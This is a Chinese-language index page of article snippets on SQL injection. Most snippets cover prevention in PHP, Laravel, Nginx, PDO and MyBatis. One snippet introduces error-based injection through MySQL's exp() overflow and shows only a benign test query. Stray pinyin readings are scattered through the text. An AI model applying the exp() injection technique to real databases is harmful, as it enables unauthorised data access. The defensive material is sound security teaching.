PHPSQL注入漏洞的偵測(cè)與修復(fù)概述:SQL注入是指攻擊者利用網(wǎng)頁(yè)應(yīng)用程式對(duì)輸入進(jìn)行惡意注入SQL程式碼的一種攻擊方式。 PHP作為一種廣泛應(yīng)用於Web開(kāi)發(fā)的腳本語(yǔ)言,被廣泛用於開(kāi)發(fā)動(dòng)態(tài)網(wǎng)站和應(yīng)用程式。然而,由於PHP的靈活性和易用性,開(kāi)發(fā)者常常忽略了安全性,導(dǎo)致了SQL注入漏洞的存在。本文將介紹如何偵測(cè)和修復(fù)PHP中的SQL注入漏洞,並提供相關(guān)程式碼範(fàn)例。檢

Laravel開(kāi)發(fā)注意事項(xiàng):防止SQL注入的方法與技巧 Laravel開(kāi)發(fā)注意事項(xiàng):防止SQL注入的方法與技巧 Nov 22, 2023 pm 04:56 PM

Laravel開(kāi)發(fā)注意事項(xiàng):防止SQL注入的方法與技巧隨著互聯(lián)網(wǎng)的發(fā)展和電腦技術(shù)的不斷進(jìn)步,Web應(yīng)用程式的開(kāi)發(fā)也變得越來(lái)越普遍。在開(kāi)發(fā)過(guò)程中,安全性一直是開(kāi)發(fā)者不可忽視的重要議題。其中,防止SQL注入攻擊是開(kāi)發(fā)過(guò)程中需要特別關(guān)注的安全性問(wèn)題之一。本文將介紹幾種Laravel開(kāi)發(fā)中常用的方法和技巧,幫助開(kāi)發(fā)者有效地防止SQL注入。使用參數(shù)綁定參數(shù)綁定是Lar

Nginx基礎(chǔ)安全知識(shí):防範(fàn)SQL注入攻擊 Nginx基礎(chǔ)安全知識(shí):防範(fàn)SQL注入攻擊 Jun 10, 2023 pm 12:31 PM

Nginx是一個(gè)快速、高效能、可擴(kuò)展的Web伺服器,它的安全性是Web應(yīng)用程式開(kāi)發(fā)中不可忽略的問(wèn)題。尤其是SQL注入攻擊,它可以對(duì)網(wǎng)路應(yīng)用程式造成巨大的破壞。在本篇文章中,我們將討論如何使用Nginx來(lái)防範(fàn)SQL注入攻擊,以保護(hù)網(wǎng)路應(yīng)用程式的安全。什麼是SQL注入攻擊? SQL注入攻擊是一種利用網(wǎng)路應(yīng)用程式漏洞的攻擊方式。攻擊者會(huì)在網(wǎng)路應(yīng)用程式中註入惡

如何使用PHP防止SQL注入攻擊 如何使用PHP防止SQL注入攻擊 Jun 24, 2023 am 10:31 AM

在網(wǎng)路安全領(lǐng)域裡,SQL注入攻擊是一種常見(jiàn)的攻擊方式。它利用惡意用戶(hù)提交的惡意程式碼來(lái)改變應(yīng)用程式的行為以執(zhí)行不安全的操作。常見(jiàn)的SQL注入攻擊包括查詢(xún)操作、插入操作和刪除操作。其中,查詢(xún)操作是最常被攻擊的一種,而防止SQL注入攻擊的一個(gè)常用的方法是使用PHP。 PHP是一種常用的伺服器端腳本語(yǔ)言,它在web應(yīng)用程式中的使用非常廣泛。 PHP可以與MySQL等關(guān)係

您如何防止PHP中的SQL注入? (準(zhǔn)備的陳述,PDO) 您如何防止PHP中的SQL注入? (準(zhǔn)備的陳述,PDO) Apr 15, 2025 am 12:15 AM

在PHP中使用預(yù)處理語(yǔ)句和PDO可以有效防範(fàn)SQL注入攻擊。 1)使用PDO連接數(shù)據(jù)庫(kù)並設(shè)置錯(cuò)誤模式。 2)通過(guò)prepare方法創(chuàng)建預(yù)處理語(yǔ)句,使用佔(zhàn)位符和execute方法傳遞數(shù)據(jù)。 3)處理查詢(xún)結(jié)果並確保代碼的安全性和性能。

如何使用exp進(jìn)行SQL錯(cuò)誤注入 如何使用exp進(jìn)行SQL錯(cuò)誤注入 May 12, 2023 am 10:16 AM

0x01前言概述小編又在MySQL中發(fā)現(xiàn)了一個(gè)Double型資料溢位。當(dāng)我們拿到MySQL裡的函數(shù)時(shí),小編比較有興趣的是其中的數(shù)學(xué)函數(shù),它們也應(yīng)該包含一些資料型態(tài)來(lái)保存數(shù)值。所以小編就跑去測(cè)試看哪些函數(shù)會(huì)出現(xiàn)溢位錯(cuò)誤。然後小編發(fā)現(xiàn),當(dāng)傳遞一個(gè)大於709的值時(shí),函數(shù)exp()就會(huì)造成一個(gè)溢位錯(cuò)誤。 mysql>selectexp(709);+-----------------------+|exp(709)|+----------- ------------+|8.218407461554972

PHP表單過(guò)濾:SQL注入防範(fàn)與過(guò)濾 PHP表單過(guò)濾:SQL注入防範(fàn)與過(guò)濾 Aug 07, 2023 pm 03:49 PM

PHP表單過(guò)濾:SQL注入防範(fàn)與過(guò)濾引言:隨著網(wǎng)路的快速發(fā)展,Web應(yīng)用程式的開(kāi)發(fā)變得越來(lái)越普遍。在Web開(kāi)發(fā)中,表單是最常見(jiàn)的使用者互動(dòng)方式之一。然而,表單提交資料的處理過(guò)程中存在著安全風(fēng)險(xiǎn)。其中,最常見(jiàn)的風(fēng)險(xiǎn)之一就是SQL注入攻擊。 SQL注入攻擊是一種利用網(wǎng)路應(yīng)用程式對(duì)使用者輸入資料處理不當(dāng)而導(dǎo)致攻擊者能夠執(zhí)行非授權(quán)資料庫(kù)查詢(xún)的攻擊方式。攻擊者透過(guò)在

提昇系統(tǒng)安全性:MyBatis 防範(fàn) SQL 注入攻擊的技巧 提昇系統(tǒng)安全性:MyBatis 防範(fàn) SQL 注入攻擊的技巧 Feb 21, 2024 pm 09:12 PM

提昇系統(tǒng)安全性:MyBatis防範(fàn)SQL注入攻擊的技巧隨著資訊科技的不斷發(fā)展,資料庫(kù)應(yīng)用已成為現(xiàn)代軟體系統(tǒng)中不可或缺的一部分。然而,隨之而來(lái)的是資料庫(kù)安全性問(wèn)題,其中最常見(jiàn)且危害嚴(yán)重的恐怕非SQL注入攻擊莫屬。 SQL注入攻擊是指攻擊者透過(guò)在輸入欄位中插入惡意SQL程式碼,從而能夠非法取得資料庫(kù)中的資訊或破壞資料庫(kù)的完整性。為了防範(fàn)SQL

See all articles